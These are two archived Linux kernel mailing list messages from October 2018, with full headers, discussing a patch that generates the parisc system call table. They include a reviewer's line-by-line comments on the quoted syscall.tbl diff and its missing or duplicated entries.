Message-ID: <CAK8P3a2GpVjg+re19V5wkJe9MCfox7Dgr6Q54KcP+WQMC5Y2Qw@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org> <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
 <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
 <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de> <CALxhOniZQEMCOY-B1F5=MCdpCYMbeGQAJTtPXhVyJ5TxtOEA5A@mail.gmail.com>
 <CAMuHMdWOKmnn18yS_dHNjgT8rrVsUc3ipGpMTQbyEBujHuVE8w@mail.gmail.com>
 <CALxhOnjEBFF8cnwm6MqNwZjpJbA8y_g8kQCrjMiALftcYJmjMQ@mail.gmail.com> <CAMuHMdWPx_ZRt-60K9_4oaX0pGESb8WUE6t73Y5DAUF-t=Z5EQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538989800 7392 195.159.176.226 (8 Oct 2018 09:10:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 09:10:00 +0000 (UTC)
Cc: Firoz Khan <firoz.khan@linaro.org>, Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 11:09:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9RY2-0001mS-Bo
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 11:09:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726908AbeJHQWp (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 12:22:45 -0400
Original-Received: from mail-qk1-f196.google.com ([209.85.222.196]:35163 "EHLO
        mail-qk1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726013AbeJHQWp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 12:22:45 -0400
Original-Received: by mail-qk1-f196.google.com with SMTP id v68-v6so4578385qka.2;
        Mon, 08 Oct 2018 02:12:02 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=DmNGKcKh1FjNeMuSMDd30+6+g6ppmJ8fMJVBFxYD+44=;
        b=K7WhP0itHiQtAO2YbuVwvulMGjSH3TIOYhCUoYlr661w0HbvPsehz+PUHcPZZHUBBJ
         169SV1APlGn+aWXIn//lllxYpRcRdXoqaXocure7Er1QadYUZDFYeb1JnEWpA+WdZGsD
         tDivMRvvoXfHOWDk/Tm8cxJqOHGeRt313FZE1BeSI3KD2VU+4XryWbGeGTVVSTsI8nYG
         YC5KfGPC4jIhkrxL74eI3HqbM+KRPLcY7kXiX0W0clCDzzmKOAKu5ZfaGoBw37aGI94H
         cfmbdrPkBNSe8CwNaqKJ2aa5/XQnR1PO76BfBe4q5XExn+bLeQcIhT8MqiDLSASWyyza
         DDRg==
X-Gm-Message-State: ABuFfoh8ECi9l1PY3nIpmshdo/shoitcMnY12mx2ge/Vu+QuCAQQsRG8
        0GnbOGrw7NlWz0qHOEalTZRkrO5uyVpGJw4ZNDI=
X-Google-Smtp-Source: ACcGV60LQaQRV03hHVVBeThEO585EbT9BnYuXNnmPXpZWi6WH1fjNeqwH387TkW2XR7IYrKDcbTO5w5DdV19EFFysdc=
X-Received: by 2002:a37:7347:: with SMTP id o68-v6mr18080478qkc.291.1538989921707;
 Mon, 08 Oct 2018 02:12:01 -0700 (PDT)
In-Reply-To: <CAMuHMdWPx_ZRt-60K9_4oaX0pGESb8WUE6t73Y5DAUF-t=Z5EQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892446 gmane.linux.ports.parisc:29104 gmane.linux.kernel.year-2038:3466 gmane.linux.kernel.cross-arch:47494
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892446>

On Mon, Oct 8, 2018 at 10:58 AM Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> On Mon, Oct 8, 2018 at 10:55 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > On Mon, 8 Oct 2018 at 13:53, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> > > On Mon, Oct 8, 2018 at 8:49 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > > If the warning is due to a not-yet-implemented feature, IMHO it should not be
> > > silenced, as that would give the false impression that the feature is
> > > present and
> > > implemented.
> >
> > Helge had done some implementation for rseq but not tested. So we
> > either add an IGNORE
> > entry or leave the warning as it is.
>
> Personally, I prefer keeping the warning, for the above reason.

Agreed, there is no need to patch this now if Helge is already working
on the correct fix. Same for the other architectures. If there are architectures
that have multiple missing syscalls, we could add a line with a comment
for rseq but not actually define it, like

 348     common  pwritev2                     sys_pwritev2
       compat_sys_pwritev2
 349     common  statx                           sys_statx
+350    common  io_pgetevents            sys_io_pgetevents
  compat_sys_io_pgetevents
+# rseq requires an arch specific implementation
+# 351    common  rseq                          sys_rseq
         compat_sys_rseq */
+352     common  open_tree                 sys_open_tree
+353     common  move_mount             sys_move_mount
+354     common  fsopen                       sys_fsopen

      Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Eugene Syromiatnikov <esyr@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Mon, 8 Oct 2018 15:03:01 +0200
Lines: 415
Approved: news@gmane.org
Message-ID: <20181008130301.GM32759@asgard.redhat.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org>
 <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539003632 18922 195.159.176.226 (8 Oct 2018 13:00:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 13:00:32 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 15:00:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9V94-0004kn-O4
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 15:00:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726664AbeJHUOJ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 16:14:09 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:49978 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726056AbeJHUOI (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 16:14:08 -0400
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.phx2.redhat.com [10.5.11.15])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id A267530A56BB;
        Mon,  8 Oct 2018 13:02:30 +0000 (UTC)
Original-Received: from asgard.redhat.com (ovpn-200-33.brq.redhat.com [10.40.200.33])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id 9095A52FCA;
        Mon,  8 Oct 2018 13:02:26 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.15
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.47]); Mon, 08 Oct 2018 13:02:31 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892706 gmane.linux.ports.parisc:29105 gmane.linux.kernel.year-2038:3467 gmane.linux.kernel.cross-arch:47496
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892706>

> On Mon, 8 Oct 2018 at 10:47, Firoz Khan <firoz.khan@linaro.org> wrote:
> > diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> > new file mode 100644
> > index 0000000..4e85293
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> > @@ -0,0 +1,352 @@
> > +# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
> > +#
> > +# system call numbers and entry vectors for parisc
> > +#
> > +# The format is:
> > +# <number> <abi> <name> <entry point> <compat entry point>
> > +#
> > +# The <abi> can be common, 64, or 32 for this file.
> > +#
> > +0       common  restart_syscall                 sys_restart_syscall
> > +1       common  exit                            sys_exit
> > +2       common  fork                            sys_fork_wrapper
> > +3       common  read                            sys_read
> > +4       common  write                           sys_write
> > +5       common  open                            sys_open                        compat_sys_open
> > +6       common  close                           sys_close
> > +7       common  waitpid                         sys_waitpid
> > +8       common  creat                           sys_creat
> > +9       common  link                            sys_link
> > +10      common  unlink                          sys_unlink
> > +11      common  execve                          sys_execve                      compat_sys_execve
> > +12      common  chdir                           sys_chdir
> > +13      common  time                            sys_time                        compat_sys_time
> > +14      common  mknod                           sys_mknod
> > +15      common  chmod                           sys_chmod
> > +16      common  lchown                          sys_lchown
> > +17      common  socket                          sys_socket
> > +18      common  stat                            sys_newstat                     compat_sys_newstat
> > +19      common  lseek                           sys_lseek                       compat_sys_lseek
> > +20      common  getpid                          sys_getpid
> > +21      common  mount                           sys_mount                       compat_sys_mount
> > +22      common  bind                            sys_bind
> > +23      common  setuid                          sys_setuid
> > +24      common  getuid                          sys_getuid
> > +25      common  stime                           sys_stime                       compat_sys_stime
> > +26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
> > +27      common  alarm                           sys_alarm
> > +28      common  fstat                           sys_newfstat                    compat_sys_newfstat
> > +29      common  pause                           sys_pause
> > +30      common  utime                           sys_utime                       compat_sys_utime
> > +31      common  connect                         sys_connect
> > +32      common  listen                          sys_listen
> > +33      common  access                          sys_access
> > +34      common  nice                            sys_nice
> > +35      common  accept                          sys_accept
> > +36      common  sync                            sys_sync
> > +37      common  kill                            sys_kill
> > +38      common  rename                          sys_rename
> > +39      common  mkdir                           sys_mkdir
> > +40      common  rmdir                           sys_rmdir
> > +41      common  dup                             sys_dup
> > +42      common  pipe                            sys_pipe
> > +43      common  times                           sys_times                       compat_sys_times
> > +44      common  getsockname                     sys_getsockname
> > +45      common  brk                             sys_brk
> > +46      common  setgid                          sys_setgid
> > +47      common  getgid                          sys_getgid
> > +48      common  signal                          sys_signal
> > +49      common  geteuid                         sys_geteuid
> > +50      common  getegid                         sys_getegid
> > +51      common  acct                            sys_acct
> > +52      common  umount2                         sys_umount
> > +53      common  getpeername                     sys_getpeername
> > +54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
> > +55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
> > +56      common  socketpair                      sys_socketpair
> > +57      common  setpgid                         sys_setpgid
> > +58      common  send                            sys_send
> > +59      common  uname                           sys_newuname
> > +60      common  umask                           sys_umask
> > +61      common  chroot                          sys_chroot
> > +62      common  ustat                           sys_ustat                       compat_sys_ustat
> > +63      common  dup2                            sys_dup2
> > +64      common  getppid                         sys_getppid
> > +65      common  getpgrp                         sys_getpgrp
> > +66      common  setsid                          sys_setsid
> > +67      common  pivot_root                      sys_pivot_root
> > +68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
> > +69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
> > +70      common  setreuid                        sys_setreuid
> > +71      common  setregid                        sys_setregid
> > +72      common  mincore                         sys_mincore
> > +73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
> > +74      common  sethostname                     sys_sethostname
> > +75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
> > +76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
> > +77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
> > +78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
> > +79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
> > +80      common  getgroups                       sys_getgroups
> > +81      common  setgroups                       sys_setgroups
> > +82      common  sendto                          sys_sendto
> > +83      common  symlink                         sys_symlink
> > +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> > +85      common  readlink                        sys_readlink
> > +86      common  uselib                          sys_ni_syscall

Why uselib is declared, contrary to all the skipped syscalls below,
that were sys_ni_syscall previously? Only __NR_socketcall was explicitly
undefined in arch/parisc/include/uapi/asm/unistd.h.

> > +87      common  swapon                          sys_swapon
> > +88      common  reboot                          sys_reboot
> > +89      common  mmap2                           sys_mmap2
> > +90      common  mmap                            sys_mmap
> > +91      common  munmap                          sys_munmap
> > +92      common  truncate                        sys_truncate                    compat_sys_truncate
> > +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> > +94      common  fchmod                          sys_fchmod
> > +95      common  fchown                          sys_fchown
> > +96      common  getpriority                     sys_getpriority
> > +97      common  setpriority                     sys_setpriority
> > +98      common  recv                            sys_recv
> > +99      common  statfs                          sys_statfs                      compat_sys_statfs
> > +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> > +101     common  stat64                          sys_stat64

It is probably worth adding a comment here that syscall 102 was
socketcall, in order to make reason for this jump in syscall numeration
self-evident.

> > +103     common  syslog                          sys_syslog
> > +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> > +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> > +106     common  capget                          sys_capget
> > +107     common  capset                          sys_capset

> > +108     32      pread64                         parisc_pread64
> > +108     64      pread64                         sys_pread64                     parisc_pread64

It would be probably nice to have some syntax that would allow avoid
this duplication (as compat handler on 64 bit and native on 32 bit are
the same).

> > +109     32      pwrite64                        parisc_pwrite64
> > +109     64      pwrite64                        sys_pwrite64                    parisc_pwrite64
> > +110     common  getcwd                          sys_getcwd
> > +111     common  vhangup                         sys_vhangup
> > +112     common  fstat64                         sys_fstat64
> > +113     common  vfork                           sys_vfork_wrapper
> > +114     common  wait4                           sys_wait4                       compat_sys_wait4
> > +115     common  swapoff                         sys_swapoff
> > +116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
> > +117     common  shutdown                        sys_shutdown
> > +118     common  fsync                           sys_fsync
> > +119     common  madvise                         sys_madvise
> > +120     common  clone                           sys_clone_wrapper
> > +121     common  setdomainname                   sys_setdomainname
> > +122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
> > +123     common  recvfrom                        sys_recvfrom
> > +124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
> > +125     common  mprotect                        sys_mprotect
> > +126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask

127 - create_module

> > +128     common  init_module                     sys_init_module
> > +129     common  delete_module                   sys_delete_module

130 - get_kernel_syms

> > +131     common  quotactl                        sys_quotactl
> > +132     common  getpgid                         sys_getpgid
> > +133     common  fchdir                          sys_fchdir
> > +134     common  bdflush                         sys_bdflush
> > +135     common  sysfs                           sys_sysfs
> > +136     32      personality                     parisc_personality
> > +136     64      personality                     sys_personality                 parisc_personality

136 - afs_syscall

> > +138     common  setfsuid                        sys_setfsuid
> > +139     common  setfsgid                        sys_setfsgid
> > +140     common  _llseek                         sys_llseek
> > +141     common  getdents                        sys_getdents                    compat_sys_getdents
> > +142     common  _newselect                      sys_select                      compat_sys_select
> > +143     common  flock                           sys_flock
> > +144     common  msync                           sys_msync
> > +145     common  readv                           sys_readv                       compat_sys_readv
> > +146     common  writev                          sys_writev                      compat_sys_writev
> > +147     common  getsid                          sys_getsid
> > +148     common  fdatasync                       sys_fdatasync
> > +149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
> > +150     common  mlock                           sys_mlock
> > +151     common  munlock                         sys_munlock
> > +152     common  mlockall                        sys_mlockall
> > +153     common  munlockall                      sys_munlockall
> > +154     common  sched_setparam                  sys_sched_setparam
> > +155     common  sched_getparam                  sys_sched_getparam
> > +156     common  sched_setscheduler              sys_sched_setscheduler
> > +157     common  sched_getscheduler              sys_sched_getscheduler
> > +158     common  sched_yield                     sys_sched_yield
> > +159     common  sched_get_priority_max          sys_sched_get_priority_max
> > +160     common  sched_get_priority_min          sys_sched_get_priority_min
> > +161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
> > +162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
> > +163     common  mremap                          sys_mremap
> > +164     common  setresuid                       sys_setresuid
> > +165     common  getresuid                       sys_getresuid
> > +166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack

167 - query_module

> > +168     common  poll                            sys_poll

169 - nfsservctl

> > +170     common  setresgid                       sys_setresgid
> > +171     common  getresgid                       sys_getresgid
> > +172     common  prctl                           sys_prctl
> > +173     common  rt_sigreturn                    sys_rt_sigreturn
> > +174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
> > +175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
> > +176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
> > +177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
> > +178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
> > +179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
> > +180     common  chown                           sys_chown
> > +181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
> > +182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
> > +183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
> > +184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
> > +185     common  semop                           sys_semop
> > +186     common  semget                          sys_semget
> > +187     common  semctl                          sys_semctl                      compat_sys_semctl
> > +188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
> > +189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
> > +190     common  msgget                          sys_msgget
> > +191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
> > +192     common  shmat                           sys_shmat                       compat_sys_shmat
> > +193     common  shmdt                           sys_shmdt
> > +194     common  shmget                          sys_shmget
> > +195     common  shmctl                          sys_shmctl                      compat_sys_shmctl

196 - getpmsg
187 - putpmsg

> > +198     common  lstat64                         sys_lstat64
> > +199     32      truncate64                      parisc_truncate64
> > +199     64      truncate64                      sys_truncate64                  parisc_truncate64
> > +200     32      ftruncate64                     parisc_ftruncate64
> > +200     64      ftruncate64                     sys_ftruncate64                 parisc_ftruncate64
> > +201     common  getdents64                      sys_getdents64
> > +202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64

203 - attrctl
204 - acl_get
205 - acl_set

> > +206     common  gettid                          sys_gettid
> > +207     32      readahead                       parisc_readahead
> > +207     64      readahead                       sys_readahead                   parisc_readahead
> > +208     common  tkill                           sys_tkill
> > +209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
> > +210     common  futex                           sys_futex                       compat_sys_futex
> > +211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
> > +212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity

213 - set_thread_area
214 - get_thread_area

> > +215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
> > +216     common  io_destroy                      sys_io_destroy
> > +217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
> > +218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
> > +219     common  io_cancel                       sys_io_cancel

220 - alloc_hugepages
221 - free_hugepages

> > +222     common  exit_group                      sys_exit_group
> > +223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
> > +224     common  epoll_create                    sys_epoll_create
> > +225     common  epoll_ctl                       sys_epoll_ctl
> > +226     common  epoll_wait                      sys_epoll_wait
> > +227     common  remap_file_pages                sys_remap_file_pages
> > +228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
> > +229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
> > +230     common  mq_unlink                       sys_mq_unlink
> > +231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
> > +232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
> > +233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
> > +234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
> > +235     common  waitid                          sys_waitid                      compat_sys_waitid
> > +236     32      fadvise64_64                    parisc_fadvise64_64
> > +236     64      fadvise64_64                    sys_fadvise64_64                parisc_fadvise64_64
> > +237     common  set_tid_address                 sys_set_tid_address
> > +238     common  setxattr                        sys_setxattr
> > +239     common  lsetxattr                       sys_lsetxattr
> > +240     common  fsetxattr                       sys_fsetxattr
> > +241     common  getxattr                        sys_getxattr
> > +242     common  lgetxattr                       sys_lgetxattr
> > +243     common  fgetxattr                       sys_fgetxattr
> > +244     common  listxattr                       sys_listxattr
> > +245     common  llistxattr                      sys_llistxattr
> > +246     common  flistxattr                      sys_flistxattr
> > +247     common  removexattr                     sys_removexattr
> > +248     common  lremovexattr                    sys_lremovexattr
> > +249     common  fremovexattr                    sys_fremovexattr
> > +250     common  timer_create                    sys_timer_create                compat_sys_timer_create
> > +251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
> > +252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
> > +253     common  timer_getoverrun                sys_timer_getoverrun
> > +254     common  timer_delete                    sys_timer_delete
> > +255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
> > +256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
> > +257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
> > +258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
> > +259     common  tgkill                          sys_tgkill
> > +260     common  mbind                           sys_mbind                       compat_sys_mbind
> > +261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
> > +262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy

263 - vserver

> > +264     common  add_key                         sys_add_key
> > +265     common  request_key                     sys_request_key
> > +266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
> > +267     common  ioprio_set                      sys_ioprio_set
> > +268     common  ioprio_get                      sys_ioprio_get
> > +269     common  inotify_init                    sys_inotify_init
> > +270     common  inotify_add_watch               sys_inotify_add_watch
> > +271     common  inotify_rm_watch                sys_inotify_rm_watch
> > +272     common  migrate_pages                   sys_migrate_pages
> > +273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
> > +274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
> > +275     common  openat                          sys_openat                      compat_sys_openat
> > +276     common  mkdirat                         sys_mkdirat
> > +277     common  mknodat                         sys_mknodat
> > +278     common  fchownat                        sys_fchownat
> > +279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
> > +280     common  fstatat64                       sys_fstatat64
> > +281     common  unlinkat                        sys_unlinkat
> > +282     common  renameat                        sys_renameat
> > +283     common  linkat                          sys_linkat
> > +284     common  symlinkat                       sys_symlinkat
> > +285     common  readlinkat                      sys_readlinkat
> > +286     common  fchmodat                        sys_fchmodat
> > +287     common  faccessat                       sys_faccessat
> > +288     common  unshare                         sys_unshare
> > +289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
> > +290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
> > +291     common  splice                          sys_splice
> > +292     32      sync_file_range                 parisc_sync_file_range
> > +292     64      sync_file_range                 sys_sync_file_range             parisc_sync_file_range
> > +293     common  tee                             sys_tee
> > +294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
> > +295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
> > +296     common  getcpu                          sys_getcpu
> > +297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
> > +298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
> > +299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
> > +300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
> > +301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
> > +302     common  signalfd                        sys_signalfd                    compat_sys_signalfd

303 - timerfd

> > +304     common  eventfd                         sys_eventfd
> > +305     32      fallocate                       parisc_fallocate
> > +305     64      fallocate                       sys_fallocate                   parisc_fallocate
> > +306     common  timerfd_create                  sys_timerfd_create
> > +307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
> > +308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
> > +309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
> > +310     common  eventfd2                        sys_eventfd2
> > +311     common  epoll_create1                   sys_epoll_create1
> > +312     common  dup3                            sys_dup3
> > +313     common  pipe2                           sys_pipe2
> > +314     common  inotify_init1                   sys_inotify_init1
> > +315     common  preadv                          sys_preadv                      compat_sys_preadv
> > +316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
> > +317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
> > +318     common  perf_event_open                 sys_perf_event_open
> > +319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
> > +320     common  accept4                         sys_accept4
> > +321     common  prlimit64                       sys_prlimit64
> > +322     common  fanotify_init                   sys_fanotify_init
> > +323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
> > +324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
> > +325     common  name_to_handle_at               sys_name_to_handle_at
> > +326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
> > +327     common  syncfs                          sys_syncfs
> > +328     common  setns                           sys_setns
> > +329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
> > +330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
> > +331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
> > +332     common  kcmp                            sys_kcmp
> > +333     common  finit_module                    sys_finit_module
> > +334     common  sched_setattr                   sys_sched_setattr
> > +335     common  sched_getattr                   sys_sched_getattr
> > +336     common  utimes                          sys_utimes                      compat_sys_utimes
> > +337     common  renameat2                       sys_renameat2
> > +338     common  seccomp                         sys_seccomp
> > +339     common  getrandom                       sys_getrandom
> > +340     common  memfd_create                    sys_memfd_create
> > +341     common  bpf                             sys_bpf
> > +342     common  execveat                        sys_execveat                    compat_sys_execveat
> > +343     common  membarrier                      sys_membarrier
> > +344     common  userfaultfd                     sys_userfaultfd
> > +345     common  mlock2                          sys_mlock2
> > +346     common  copy_file_range                 sys_copy_file_range
